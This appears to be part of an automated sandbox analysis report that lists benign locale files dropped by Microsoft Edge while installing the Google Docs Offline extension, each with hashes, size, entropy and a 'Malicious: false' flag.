SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir5756_464701337\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
